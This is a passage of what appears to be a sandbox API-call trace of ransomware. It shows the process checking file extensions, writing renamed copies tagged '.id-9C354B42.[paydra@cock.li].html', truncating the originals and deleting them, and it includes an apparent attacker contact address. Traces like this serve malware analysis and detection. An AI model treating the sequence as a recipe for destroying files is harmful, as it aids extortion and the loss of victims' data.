Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0047.722] lstrlenW (lpString=".dbf") returned 4 [0047.722] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0047.722] lstrlenW (lpString=".1cd") returned 4 [0047.722] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0047.722] lstrlenW (lpString=".jpg") returned 4 [0047.722] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0047.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0047.723] lstrlenW (lpString=".doc") returned 4 [0047.723] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.723] lstrlenW (lpString=".docx") returned 5 [0047.723] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.723] lstrlenW (lpString=".pdf") returned 4 [0047.723] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.723] lstrlenW (lpString=".xls") returned 4 [0047.723] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.723] lstrlenW (lpString=".xlsx") returned 5 [0047.723] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.723] lstrlenW (lpString=".ppt") returned 4 [0047.723] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0047.723] lstrlenW (lpString=".zip") returned 4 [0047.723] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.723] lstrlenW (lpString=".rar") returned 4 [0047.723] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.723] lstrlenW (lpString=".bz2") returned 4 [0047.723] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.723] lstrlenW (lpString=".7z") returned 3 [0047.723] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0047.723] lstrlenW (lpString=".dbf") returned 4 [0047.723] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0047.723] lstrlenW (lpString=".1cd") returned 4 [0047.723] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0047.723] lstrlenW (lpString=".jpg") returned 4 [0047.723] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.724] lstrcmpiW (lpString1=".CHM", lpString2=".html") returned -1 [0047.724] lstrlenW (lpString="VBUI6.CHM") returned 9 [0047.724] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0047.988] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=416918) returned 1 [0047.988] CloseHandle (hObject=0x214) returned 1 [0047.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm")) returned 0x20 [0047.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0047.988] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0047.988] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0047.988] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0047.988] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0047.989] GetLastError () returned 0x0 [0047.989] ReadFile (in: hFile=0x214, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x65c96, lpOverlapped=0x0) returned 1 [0047.997] WriteFile (in: hFile=0x20c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x65ca0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x65ca0, lpOverlapped=0x0) returned 1 [0048.004] ReadFile (in: hFile=0x214, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0048.004] WriteFile (in: hFile=0x20c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0048.004] SetEndOfFile (hFile=0x20c) returned 1 [0048.004] CloseHandle (hObject=0x20c) returned 1 [0048.004] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0048.004] SetEndOfFile (hFile=0x214) returned 1 [0048.008] CloseHandle (hObject=0x214) returned 1 [0048.008] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0048.008] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm")) returned 1 [0048.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0048.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0048.008] lstrlenW (lpString=".doc") returned 4 [0048.008] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0048.008] lstrlenW (lpString=".docx") returned 5 [0048.008] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0048.008] lstrlenW (lpString=".pdf") returned 4 [0048.008] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0048.008] lstrlenW (lpString=".xls") returned 4 [0048.009] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0048.009] lstrlenW (lpString=".xlsx") returned 5 [0048.009] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0048.009] lstrlenW (lpString=".ppt") returned 4 [0048.009] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0048.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0048.009] lstrlenW (lpString=".zip") returned 4 [0048.009] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0048.009] lstrlenW (lpString=".rar") returned 4 [0048.009] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0048.009] lstrlenW (lpString=".bz2") returned 4 [0048.009] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0048.009] lstrlenW (lpString=".7z") returned 3 [0048.009] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0048.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0048.009] lstrlenW (lpString=".dbf") returned 4 [0048.009] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0048.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0048.009] lstrlenW (lpString=".1cd") returned 4 [0048.009] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0048.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0048.009] lstrlenW (lpString=".jpg") returned 4 [0048.009] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0048.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0048.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0048.009] lstrlenW (lpString=".doc") returned 4 [0048.009] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0048.009] lstrlenW (lpString=".docx") returned 5 [0048.009] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0048.009] lstrlenW (lpString=".pdf") returned 4 [0048.009] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0048.010] lstrlenW (lpString=".xls") returned 4 [0048.010] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0048.010] lstrlenW (lpString=".xlsx") returned 5 [0048.010] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0048.010] lstrlenW (lpString=".ppt") returned 4 [0048.010] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0048.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0048.010] lstrlenW (lpString=".zip") returned 4 [0048.010] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0048.010] lstrlenW (lpString=".rar") returned 4 [0048.010] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0048.010] lstrlenW (lpString=".bz2") returned 4 [0048.010] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0048.010] lstrlenW (lpString=".7z") returned 3 [0048.010] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0048.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0048.010] lstrlenW (lpString=".dbf") returned 4 [0048.010] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0048.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0048.010] lstrlenW (lpString=".1cd") returned 4 [0048.010] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0048.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0048.010] lstrlenW (lpString=".jpg") returned 4 [0048.010] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0048.010] lstrcmpiW (lpString1=".png", lpString2=".html") returned 1 [0048.010] lstrlenW (lpString="16to9Squareframe_Buttongraphic.png") returned 34 [0048.010] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0048.281] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=10123) returned 1 [0048.282] CloseHandle (hObject=0x20c) returned 1 [0048.282] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png")) returned 0x20 [0048.282] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0048.282] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.283] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0048.283] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0048.283] lstrlenW (lpString=".doc") returned 4 [0048.283] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0048.283] lstrlenW (lpString=".docx") returned 5 [0048.283] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0048.283] lstrlenW (lpString=".pdf") returned 4 [0048.283] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0048.283] lstrlenW (lpString=".xls") returned 4 [0048.283] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0048.283] lstrlenW (lpString=".xlsx") returned 5 [0048.283] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0048.283] lstrlenW (lpString=".ppt") returned 4 [0048.284] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0048.284] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0048.285] lstrlenW (lpString=".zip") returned 4 [0048.285] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0048.285] lstrlenW (lpString=".rar") returned 4 [0048.285] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0048.285] lstrlenW (lpString=".bz2") returned 4 [0048.285] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0048.285] lstrlenW (lpString=".7z") returned 3 [0048.286] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0048.286] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0048.286] lstrlenW (lpString=".dbf") returned 4 [0048.287] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0048.287] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0048.289] lstrlenW (lpString=".1cd") returned 4 [0048.289] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0048.289] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0048.290] lstrlenW (lpString=".jpg") returned 4 [0048.290] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0048.290] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0048.290] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0048.290] lstrlenW (lpString=".doc") returned 4 [0048.290] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0048.291] lstrlenW (lpString=".docx") returned 5 [0048.291] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0048.291] lstrlenW (lpString=".pdf") returned 4 [0048.291] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0048.291] lstrlenW (lpString=".xls") returned 4 [0048.291] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0048.291] lstrlenW (lpString=".xlsx") returned 5 [0048.291] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0048.291] lstrlenW (lpString=".ppt") returned 4 [0048.291] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0048.291] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0048.293] lstrlenW (lpString=".zip") returned 4 [0048.293] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0048.294] lstrlenW (lpString=".rar") returned 4 [0048.294] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0048.294] lstrlenW (lpString=".bz2") returned 4 [0048.294] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0048.294] lstrlenW (lpString=".7z") returned 3 [0048.294] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0048.294] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0048.294] lstrlenW (lpString=".dbf") returned 4 [0048.294] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0048.294] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0048.294] lstrlenW (lpString=".1cd") returned 4 [0048.294] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0048.294] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0048.297] lstrlenW (lpString=".jpg") returned 4 [0048.297] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0048.304] lstrcmpiW (lpString1=".png", lpString2=".html") returned 1 [0048.304] lstrlenW (lpString="4to3Squareframe_SelectionSubpicture.png") returned 39 [0048.304] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0048.305] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=3304) returned 1 [0048.305] CloseHandle (hObject=0x20c) returned 1 [0048.305] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png")) returned 0x20 [0048.305] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0048.305] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.305] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned 83 [0048.305] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned 83 [0048.305] lstrlenW (lpString=".doc") returned 4 [0048.305] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0048.309] lstrlenW (lpString=".docx") returned 5 [0048.309] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0048.309] lstrlenW (lpString=".pdf") returned 4 [0048.309] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0048.309] lstrlenW (lpString=".xls") returned 4 [0048.309] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0048.309] lstrlenW (lpString=".xlsx") returned 5 [0048.309] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0048.310] lstrlenW (lpString=".ppt") returned 4 [0048.310] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0048.310] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned 83 [0048.310] lstrlenW (lpString=".zip") returned 4 [0048.310] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0048.311] lstrlenW (lpString=".rar") returned 4 [0048.311] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0048.311] lstrlenW (lpString=".bz2") returned 4 [0048.311] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0048.311] lstrlenW (lpString=".7z") returned 3 [0048.311] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0048.311] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned 83 [0048.311] lstrlenW (lpString=".dbf") returned 4 [0048.311] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0048.311] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned 83 [0048.311] lstrlenW (lpString=".1cd") returned 4 [0048.311] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0048.311] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned 83 [0048.311] lstrlenW (lpString=".jpg") returned 4 [0048.316] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0048.316] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned 83 [0048.316] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned 83 [0048.316] lstrlenW (lpString=".doc") returned 4 [0048.316] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0048.316] lstrlenW (lpString=".docx") returned 5 [0048.317] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0048.317] lstrlenW (lpString=".pdf") returned 4 [0048.317] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0048.317] lstrlenW (lpString=".xls") returned 4 [0048.317] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0048.317] lstrlenW (lpString=".xlsx") returned 5 [0048.317] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0048.317] lstrlenW (lpString=".ppt") returned 4 [0048.317] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0048.317] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned 83 [0048.317] lstrlenW (lpString=".zip") returned 4 [0048.317] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0048.317] lstrlenW (lpString=".rar") returned 4 [0048.317] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0048.317] lstrlenW (lpString=".bz2") returned 4 [0048.318] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0048.318] lstrlenW (lpString=".7z") returned 3 [0048.318] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0048.318] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned 83 [0048.320] lstrlenW (lpString=".dbf") returned 4 [0048.320] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0048.320] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned 83 [0048.320] lstrlenW (lpString=".1cd") returned 4 [0048.320] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0048.320] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned 83 [0048.320] lstrlenW (lpString=".jpg") returned 4 [0048.320] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0050.785] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0050.786] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0050.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0050.793] GetLastError () returned 0x0 [0050.793] ReadFile (in: hFile=0x1b8, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x1c30, lpOverlapped=0x0) returned 1 [0050.807] WriteFile (in: hFile=0x228, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x1c40, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x1c40, lpOverlapped=0x0) returned 1 [0050.819] ReadFile (in: hFile=0x1b8, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0050.820] WriteFile (in: hFile=0x228, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0050.822] SetEndOfFile (hFile=0x228) returned 1 [0050.823] CloseHandle (hObject=0x228) returned 1 [0050.825] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0050.826] SetEndOfFile (hFile=0x1b8) returned 1 [0050.837] CloseHandle (hObject=0x1b8) returned 1 [0050.838] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0050.842] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft 